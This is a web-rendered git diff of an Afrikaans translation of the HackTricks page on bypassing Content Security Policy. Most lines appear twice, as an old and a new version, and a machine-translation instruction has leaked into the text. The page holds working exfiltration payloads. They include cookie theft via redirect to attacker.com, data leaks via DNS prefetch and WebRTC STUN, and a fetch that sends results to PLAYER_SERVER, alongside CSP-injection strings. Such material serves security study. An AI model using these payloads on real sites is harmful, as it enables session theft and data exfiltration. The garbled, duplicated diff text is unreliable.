Wat gebeur wanneer CSP kantoorserverherleiing teëkom? As die herleiing na 'n ander oorsprong lei wat nie toegelaat word nie, sal dit steeds misluk.
|
||||
Wat gebeur wanneer CSP kantoorserver-herleiing teëkom? As die herleiing na 'n ander oorsprong lei wat nie toegelaat word nie, sal dit steeds misluk.
|
||||
|
||||
Tog, volgens die beskrywing in [CSP spes 4.2.2.3. Paaie en Herleiings](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), as die herleiing na 'n ander pad lei, kan dit die oorspronklike beperkings omseil.
|
||||
Volgens die beskrywing in [CSP spes 4.2.2.3. Paaie en Herleidings](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), as die herleiing na 'n ander pad lei, kan dit die oorspronklike beperkings omseil.
|
||||
|
||||
Hier is 'n voorbeeld:
|
||||
```html
|
||||
|
@ -465,7 +471,7 @@ Nietemin, die finale `http://localhost:5555/301` sal **op die bedienerkant na `h
|
|||
|
||||
Met hierdie omleiding, selfs al is die pad volledig gespesifiseer, sal dit steeds omseil word.
|
||||
|
||||
Daarom is die beste oplossing om te verseker dat die webwerf geen oop omleidingskwesbaarhede het nie en dat daar geen domeine is wat in die CSP-reëls uitgebuit kan word nie.
|
||||
Daarom is die beste oplossing om te verseker dat die webwerf geen oop omleidingskwesbaarhede het nie en dat daar geen domeine is wat in die CSP-reëls uitgebuit kan word.
|
||||
|
||||
### Omseil CSP met hangende opmaak
|
||||
|
||||
|
@ -481,13 +487,13 @@ Jy kan hierdie CSP omseil deur die data via beelde te eksfiltreer (in hierdie ge
|
|||
```javascript
|
||||
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
|
||||
```
|
||||
Vanaf: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
Van: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
Jy kan ook hierdie konfigurasie misbruik om **javascript-kode wat binne 'n afbeelding ingevoeg is te laai**. As die bladsy byvoorbeeld die laai van afbeeldings van Twitter toelaat. Jy kan 'n **spesiale afbeelding** **skep**, dit na Twitter **oplaai** en die "**unsafe-inline**" misbruik om 'n JS-kode (soos 'n gewone XSS) **uit te voer** wat die **afbeelding laai**, die **JS** daaruit **onttrek** en **dit uitvoer**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Jy kan ook hierdie konfigurasie misbruik om **javascript-kode wat binne 'n afbeelding ingevoeg is te laai**. As byvoorbeeld, die bladsy laai afbeeldings van Twitter. Jy kan 'n **spesiale afbeelding** **skep**, dit na Twitter **oplaai** en die "**unsafe-inline**" misbruik om 'n JS-kode (soos 'n gewone XSS) **uit te voer** wat die **afbeelding laai**, die **JS** daaruit **onttrek** en **dit uitvoer**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### Met Dienswerkers
|
||||
|
||||
Dienswerkers se **`importScripts`**-funksie word nie deur CSP beperk nie:
|
||||
Dienswerkers se **`importScripts`**-funksie is nie beperk deur CSP nie:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
|
||||
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
|
||||
|
@ -499,12 +505,12 @@ Dienswerkers se **`importScripts`**-funksie word nie deur CSP beperk nie:
|
|||
|
||||
#### Chrome
|
||||
|
||||
As 'n **parameter** wat deur jou gestuur word binne die **verklaring** van die **beleid geplak** word, kan jy die **beleid** op 'n manier **verander** wat dit **nutteloos** maak. Jy kan skrips toelaat 'unsafe-inline' met enige van hierdie omseilings:
|
||||
As 'n **parameter** wat deur jou gestuur word binne die **verklaring** van die **beleid** geplak word, kan jy die **beleid** op 'n manier **verander** wat dit **nutteloos** maak. Jy kan skrips toelaat 'unsafe-inline' met enige van hierdie omseilings:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
```
|
||||
Omdat hierdie riglyn bestaande script-src riglyne sal **owerwrite**.\
|
||||
Omdat hierdie riglyn bestaande script-src riglyne **oorwrite**.\
|
||||
Jy kan 'n voorbeeld hier vind: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
|
||||
#### Rand
|
||||
|
@ -515,7 +521,7 @@ Voorbeeld: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\
|
|||
### img-src \*; via XSS (iframe) - Tyd aanval
|
||||
|
||||
Let op die afwesigheid van die riglyn `'unsafe-inline'`\
|
||||
Hierdie keer kan jy die slagoffer **'n bladsy in **jou beheer** laat **laai** via **XSS** met 'n `<iframe`. Hierdie keer gaan jy die slagoffer die bladsy laat besoek van waar jy inligting wil onttrek (**CSRF**). Jy kan nie die inhoud van die bladsy bereik nie, maar as jy op een of ander manier die tyd kan **beheer wat die bladsy neem om te laai** kan jy die inligting wat jy nodig het, onttrek.
|
||||
Hierdie keer kan jy die slagoffer laat **'n bladsy in **jou beheer** laai via **XSS** met 'n `<iframe`. Hierdie keer gaan jy die slagoffer die bladsy laat besoek vanwaar jy inligting wil onttrek (**CSRF**). Jy kan nie die inhoud van die bladsy bereik nie, maar as jy op een of ander manier die tyd kan beheer wat die bladsy neem om te laai, kan jy die inligting wat jy nodig het, onttrek.
|
||||
|
||||
Hierdie keer gaan 'n **vlag** onttrek word, telkens wanneer 'n **karakter korrek gegok** word via SQLi neem die **reaksie** langer tyd as gevolg van die slaapfunksie. Dan sal jy in staat wees om die vlag te onttrek:
|
||||
```html
|
||||
|
@ -579,13 +585,13 @@ run();
|
|||
```
|
||||
### Via Boekmerklets
|
||||
|
||||
Hierdie aanval sou 'n bietjie sosiale ingenieurswese impliseer waar die aanvaller die gebruiker oortuig om 'n skakel oor die boekmerklet van die webblaaier te sleep en los. Hierdie boekmerklet sou **skadelike javascript**-kode bevat wat uitgevoer sou word in die konteks van die huidige web-venster, wat **CSP omseil en toelaat om sensitiewe inligting** soos koekies of tokens te steel.
|
||||
Hierdie aanval sou 'n bietjie sosiale manipulasie impliseer waar die aanvaller die gebruiker oortuig om 'n skakel oor die boekmerklet van die webblaaier te sleep en los. Hierdie boekmerklet sou **skadelike javascript**-kode bevat wat uitgevoer sou word in die konteks van die huidige web-venster, wat **CSP omseil en toelaat om sensitiewe inligting** soos koekies of tokens te steel.
|
||||
|
||||
Vir meer inligting [**kyk na die oorspronklike verslag hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### CSP omseiling deur CSP te beperk
|
||||
### CSP-omseiling deur CSP te beperk
|
||||
|
||||
In [**hierdie CTF-verslag**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), word CSP omseil deur binne 'n toegelate ifram 'n meer beperkende CSP in te spuit wat verhoed het dat 'n spesifieke JS-lêer gelaai word wat dan, via **prototipe besoedeling** of **dom-verwarring**, toegelaat het om 'n ander skripsie te misbruik om 'n willekeurige skripsie te laai.
|
||||
In [**hierdie CTF-verslag**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), word CSP omseil deur binne 'n toegelate ifram 'n meer beperkende CSP in te spuit wat verhoed het dat 'n spesifieke JS-lêer gelaai word wat dan, via **prototipe besoedeling** of **dom-verwringing**, toegelaat het om 'n ander skrips te misbruik om 'n willekeurige skrips te laai.
|
||||
|
||||
Jy kan **'n CSP van 'n Iframe beperk** met die **`csp`**-kenmerk:
|
||||
|
||||
|
@ -595,17 +601,17 @@ Jy kan **'n CSP van 'n Iframe beperk** met die **`csp`**-kenmerk:
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
In [**hierdie CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), was dit moontlik deur **HTML inspuiting** om **meer te beperk** 'n **CSP** sodat 'n skrip wat CSTI voorkom, gedeaktiveer is en gevolglik die **kwesbaarheid vatbaar geword het vir uitbuiting.**\
|
||||
CSP kan meer beperkend gemaak word deur **HTML meta-tabelle** en inline skripte kan gedeaktiveer word **deur die verwydering** van die **inskrywing** wat hulle **nonce** toelaat en **spesifieke inline skrip aktiveer via sha**:
|
||||
In [**hierdie CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), was dit moontlik deur **HTML inspuiting** om **meer te beperk** 'n **CSP** sodat 'n skrip wat CSTI voorkom, uitgeskakel is en dus die **kwesbaarheid vatbaar geword het vir uitbuiting.**\
|
||||
CSP kan strenger gemaak word deur **HTML meta-tages** te gebruik en inline-skripte kan uitgeskakel word **deur die verwydering** van die **inskrywing** wat hulle **nonce** toelaat en **spesifieke inline-skrip aktiveer via sha**:
|
||||
```html
|
||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
||||
'unsafe-eval' 'strict-dynamic'
|
||||
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
|
||||
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
|
||||
```
|
||||
### JS uitlekking met Inhoud-Sekerheidsbeleid-Verklaar-Slegs
|
||||
### JS uitlekking met Content-Security-Policy-Report-Only
|
||||
|
||||
As jy kan slaag om die bediener te laat antwoord met die kop **`Inhoud-Sekerheidsbeleid-Verklaar-Slegs`** met 'n **waarde wat deur jou beheer word** (miskien as gevolg van 'n CRLF), kan jy dit jou bediener laat aandui en as jy die **JS-inhoud** wat jy wil uitlek met **`<script>`** omhul en omdat dit baie waarskynlik is dat `onveilig-inlyn` nie toegelaat word deur die CSP nie, sal dit 'n CSP-fout veroorsaak en 'n deel van die skrip (wat die sensitiewe inligting bevat) sal na die bediener gestuur word vanaf `Inhoud-Sekerheidsbeleid-Verklaar-Slegs`.
|
||||
As jy kan slaag om die bediener te laat reageer met die kop **`Content-Security-Policy-Report-Only`** met 'n **waarde wat deur jou beheer word** (miskien as gevolg van 'n CRLF), kan jy dit jou bediener laat aandui en as jy die **JS-inhoud** wat jy wil uitlek met **`<script>`** omhul en omdat dit baie waarskynlik is dat `unsafe-inline` nie toegelaat word deur die CSP nie, sal dit 'n CSP-fout veroorsaak en 'n deel van die skrip (wat die sensitiewe inligting bevat) sal na die bediener gestuur word vanaf `Content-Security-Policy-Report-Only`.
|
||||
|
||||
Vir 'n voorbeeld [**kyk na hierdie CTF-skryfstuk**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
|
@ -615,49 +621,49 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
|||
```
|
||||
### Uitlek van Inligting met CSP en Iframe
|
||||
|
||||
* 'n `iframe` word geskep wat na 'n URL wys (ons noem dit `https://example.redirect.com`) wat toegelaat word deur CSP.
|
||||
* 'n `iframe` word geskep wat na 'n URL wys (laat ons dit `https://example.redirect.com` noem) wat toegelaat word deur CSP.
|
||||
* Hierdie URL verwys dan na 'n geheime URL (bv., `https://usersecret.example2.com`) wat **nie toegelaat** word deur CSP nie.
|
||||
* Deur te luister na die `securitypolicyviolation` gebeurtenis, kan mens die `blockedURI` eienskap vasvang. Hierdie eienskap onthul die domein van die geblokkeerde URI, wat die geheime domein waarheen die oorspronklike URL verwys, uitlek.
|
||||
* Deur te luister na die `securitypolicyviolation` gebeurtenis, kan 'n persoon die `blockedURI` eienskap vasvang. Hierdie eienskap onthul die domein van die geblokkeerde URI, wat die geheime domein waarheen die oorspronklike URL verwys het, lek.
|
||||
|
||||
Dit is interessant om op te merk dat webblaaier soos Chrome en Firefox verskillende gedrag het met betrekking tot iframes in verband met CSP, wat kan lei tot die potensiële uitlek van sensitiewe inligting as gevolg van ongedefinieerde gedrag.
|
||||
Dit is interessant om op te merk dat webblaaier soos Chrome en Firefox verskillende gedrag het met betrekking tot die hantering van iframes met betrekking tot CSP, wat kan lei tot die potensiële lekkasie van sensitiewe inligting as gevolg van ongedefinieerde gedrag.
|
||||
|
||||
'n Ander tegniek behels die uitbuiting van die CSP self om die geheime subdomein af te lei. Hierdie metode steun op 'n binêre soekalgoritme en die aanpassing van die CSP om spesifieke domeine in te sluit wat opsetlik geblokkeer word. Byvoorbeeld, as die geheime subdomein uit onbekende karakters bestaan, kan jy iteratief verskillende subdomeine toets deur die CSP riglyn te wysig om hierdie subdomeine te blokkeer of toe te laat. Hier is 'n uittreksel wat wys hoe die CSP opgestel kan word om hierdie metode te fasiliteer:
|
||||
'n Ander tegniek behels die uitbuiting van die CSP self om die geheime subdomein af te lei. Hierdie metode steun op 'n binêre soekalgoritme en die aanpassing van die CSP om spesifieke domeine in te sluit wat opsetlik geblokkeer word. Byvoorbeeld, as die geheime subdomein uit onbekende karakters bestaan, kan jy iteratief verskillende subdomeine toets deur die CSP-richtlyn te wysig om hierdie subdomeine te blokkeer of toe te laat. Hier is 'n uittreksel wat wys hoe die CSP opgestel kan word om hierdie metode te fasiliteer:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
Deur te monitor watter versoekers deur die CSP geblokkeer of toegelaat word, kan mens die moontlike karakters in die geheime subdomein beperk, en uiteindelik die volledige URL ontbloot.
|
||||
|
||||
Beide metodes maak gebruik van die subtiliteite van CSP-implementering en -gedrag in webblaaier, wat demonstreer hoe skynbaar veilige beleide onbedoeld sensitiewe inligting kan lek.
|
||||
Beide metodes maak gebruik van die subtiliteite van CSP-implementering en gedrag in webblaaier, wat demonstreer hoe skynbaar veilige beleide onbedoeld sensitiewe inligting kan laat lek.
|
||||
|
||||
Truuk van [**hier**](https://ctftime.org/writeup/29310).
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutvinders te kommunikeer!
|
||||
|
||||
**Hack-insigte**\
|
||||
Gaan in gesprek met inhoud wat die opwinding en uitdagings van hack bied
|
||||
|
||||
**Haknuus in Werklikheid**\
|
||||
Bly op hoogte van die snelveranderende hackwêreld deur werklike nuus en insigte
|
||||
**Hack-nuus in werklikheid**\
|
||||
Bly op hoogte van die vinnige hack-wêreld deur werklikheidsnuus en insigte
|
||||
|
||||
**Nuutste Aankondigings**\
|
||||
Bly ingelig oor die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
|
||||
**Nuutste aankondigings**\
|
||||
Bly ingelig met die nuutste foutvindings wat bekendgestel word en kritieke platformopdaterings
|
||||
|
||||
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
|
||||
## Onveilige Tegnologieë om CSP te Bypass
|
||||
## Onveilige Tegnologieë om CSP te omseil
|
||||
|
||||
### PHP responsbuffer oorlading
|
||||
|
||||
PHP is bekend vir **buffering die respons tot 4096** grepe standaard. Daarom, as PHP 'n waarskuwing wys, deur **genoeg data binne waarskuwings te voorsien**, sal die **respons** **gestuur word** **voor** die **CSP-kop**, wat veroorsaak dat die kop geïgnoreer word.\
|
||||
Dan bestaan die tegniek basies daarin om die responsbuffer met waarskuwings te vul sodat die CSP-kop nie gestuur word nie.
|
||||
|
||||
Idee vanaf [**hierdie skrywe**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
Idee vanaf [**hierdie skryfstuk**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
### Herskryf Foutbladsy
|
||||
|
||||
Vanaf [**hierdie skrywe**](https://blog.ssrf.kr/69) lyk dit asof dit moontlik was om 'n CSP-beskerming te omseil deur 'n foutbladsy (moontlik sonder CSP) te laai en sy inhoud te herskryf.
|
||||
Vanaf [**hierdie skryfstuk**](https://blog.ssrf.kr/69) lyk dit asof dit moontlik was om 'n CSP-beskerming te omseil deur 'n foutbladsy (moontlik sonder CSP) te laai en sy inhoud te herskryf.
|
||||
```javascript
|
||||
a = window.open('/' + 'x'.repeat(4100));
|
||||
setTimeout(function() {
|
||||
|
@ -666,7 +672,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
|||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME is 'n tegniek wat 'n XSS (of hoogs beperkte XSS) **misbruik in 'n eindpunt van 'n bladsy** om **ander eindpunte van dieselfde oorsprong te misbruik.** Dit word gedoen deur die kwesbare eindpunt vanaf 'n aanvaller se bladsy te laai en dan die aanvaller se bladsy na die werklike eindpunt in dieselfde oorsprong wat jy wil misbruik, te verfris. Op hierdie manier kan die **kwesbare eindpunt** die **`opener`**-voorwerp in die **lading** gebruik om die DOM van die **werklike eindpunt wat misbruik moet word, te benader. Vir meer inligting, kyk na:
|
||||
SOME is 'n tegniek wat 'n XSS (of hoogs beperkte XSS) **misbruik in 'n eindpunt van 'n bladsy** om **ander eindpunte van dieselfde oorsprong te misbruik.** Dit word gedoen deur die kwesbare eindpunt vanaf 'n aanvaller se bladsy te laai en dan die aanvaller se bladsy na die werklike eindpunt in dieselfde oorsprong wat jy wil misbruik, te verfris. Op hierdie manier kan die **kwesbare eindpunt** die **`opener`**-voorwerp in die **lading** gebruik om toegang te verkry tot die DOM van die **werklike eindpunt wat misbruik moet word**. Vir meer inligting, kyk:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
|
@ -674,16 +680,16 @@ SOME is 'n tegniek wat 'n XSS (of hoogs beperkte XSS) **misbruik in 'n eindpunt
|
|||
|
||||
Daarbenewens het **wordpress** 'n **JSONP**-eindpunt in `/wp-json/wp/v2/users/1?_jsonp=data` wat die **data** wat in die uitvoer gestuur word, sal **weerspieël** (met die beperking van slegs letters, syfers en kolletjies).
|
||||
|
||||
'n Aanvaller kan daardie eindpunt misbruik om 'n SOME-aanval teen WordPress te **genereer** en dit binne `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` in te sluit. Let daarop dat hierdie **script** sal **gelaai** word omdat dit deur 'self' **toegelaat** word. Daarbenewens, en omdat WordPress geïnstalleer is, kan 'n aanvaller die **SOME-aanval** misbruik deur die **kwesbare** **terugroep**-eindpunt wat die CSP **omseil** om meer regte aan 'n gebruiker te gee, 'n nuwe invoegtoepassing te installeer...\
|
||||
'n Aanvaller kan daardie eindpunt misbruik om 'n SOME-aanval teen WordPress te **genereer** en dit binne `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` in te sluit. Let daarop dat hierdie **script** sal **gelaai** word omdat dit **toegelaat word deur 'self'**. Daarbenewens, en omdat WordPress geïnstalleer is, kan 'n aanvaller die **SOME-aanval** misbruik deur die **kwesbare** **terugroep**-eindpunt wat die CSP **omseil** om meer regte aan 'n gebruiker te gee, 'n nuwe invoegtoepassing te installeer...\
|
||||
Vir meer inligting oor hoe om hierdie aanval uit te voer, kyk na [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## CSP Uitlek Bypasses
|
||||
## CSP Uitlekverbygaan
|
||||
|
||||
As daar 'n streng CSP is wat jou nie toelaat om met eksterne bedieners te **interakteer nie**, is daar 'n paar dinge wat jy altyd kan doen om die inligting uit te lek.
|
||||
|
||||
### Ligging
|
||||
|
||||
Jy kan eenvoudig die ligging opdateer om die geheime inligting aan die aanvaller se bediener te stuur:
|
||||
Jy kan eenvoudig die ligging opdateer om die geheime inligting na die aanvaller se bediener te stuur:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
document.location = "https://attacker.com/?" + sessionid;
|
||||
|
@ -697,7 +703,7 @@ Jy kan omskakel deur 'n meta-tag in te spuit (dit is net 'n omskakeling, dit sal
|
|||
### DNS Prefetch
|
||||
|
||||
Om bladsye vinniger te laai, gaan webblaaier die hostnaam na IP-adresse vooraf oplos en dit vir later gebruik in die cache stoor.\
|
||||
Jy kan 'n webblaaier aandui om 'n hostnaam vooraf op te los met: `<link reol="dns-prefetch" href="iets.com">`
|
||||
Jy kan 'n webblaaier aandui om 'n hostnaam vooraf op te los met: `<link rel="dns-prefetch" href="iets.com">`
|
||||
|
||||
Jy kan hierdie gedrag misbruik om **gevoelige inligting via DNS-versoeke uit te voer**:
|
||||
```javascript
|
||||
|
@ -707,7 +713,7 @@ body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessi
|
|||
```
|
||||
### Ander manier:
|
||||
|
||||
Die volgende is inhoud uit 'n hakkersboek oor hakkingstegnieke. Die volgende inhoud is uit die lêer pentesting-web/content-security-policy-csp-bypass/README.md. Vertaal die relevante Engelse teks na Afrikaans en stuur die vertaling terug met behoud van presies dieselfde markdown- en html-sintaks. Moet nie dinge soos kode, hakkingstegniekname, hakkingwoord, wolk/SaaS-platformname (soos Workspace, aws, gcp...), die woord 'lek', pentesting, en markdown-etikette vertaal nie. Moet ook nie enige ekstra dinge byvoeg buite die vertaling en markdown-sintaks nie.
|
||||
Die volgende is inhoud uit 'n hakkersboek oor hakkingstegnieke. Die volgende inhoud is uit die lêer pentesting-web/content-security-policy-csp-bypass/README.md. Vertaal die relevante Engelse teks na Afrikaans en gee die vertaling terug met behoud van presies dieselfde markdown- en html-sintaks. Moet nie dinge soos kode, hakkingstegniekname, hakkingwoord, wolk/SaaS-platformname (soos Workspace, aws, gcp...), die woord 'lek', pentesting, en markdown-etikette vertaal nie. Moet ook nie enige ekstra dinge byvoeg buite die vertaling en markdown-sintaks nie.
|
||||
```javascript
|
||||
const linkEl = document.createElement('link');
|
||||
linkEl.rel = 'prefetch';
|
||||
|
@ -730,7 +736,7 @@ Eintlik kan jy inligting _lek_ deur 'n _DNS versoek_. Kyk na hierdie kode:
|
|||
```javascript
|
||||
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
|
||||
```
|
||||
'n Ander opsie:
|
||||
'n Ander opsie:'
|
||||
```javascript
|
||||
var pc = new RTCPeerConnection({
|
||||
"iceServers":[
|
||||
|
@ -747,7 +753,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
|
||||
|
||||
## Skep outomaties CSP
|
||||
## Skep CSP outomaties
|
||||
|
||||
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
|
||||
|
||||
|
@ -768,19 +774,19 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
|
||||
|
||||
**Hacking-insigte**\
|
||||
Raak betrokke by inhoud wat die opwinding en uitdagings van hack bevat
|
||||
Raak betrokke by inhoud wat die opwinding en uitdagings van hackering ondersoek
|
||||
|
||||
**Hacknuus in werklikheid**\
|
||||
Bly op hoogte van die vinnige hackwêreld deur werklikheidsnuus en insigte
|
||||
**Nuus oor Hackering in Werkliktyd**\
|
||||
Bly op hoogte van die snelveranderende hackeringwêreld deur werkliktydnuus en insigte
|
||||
|
||||
**Nuutste aankondigings**\
|
||||
**Nuutste Aankondigings**\
|
||||
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en belangrike platformopdaterings
|
||||
|
||||
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hackering van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
|
@ -788,6 +794,6 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou hackeringtruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue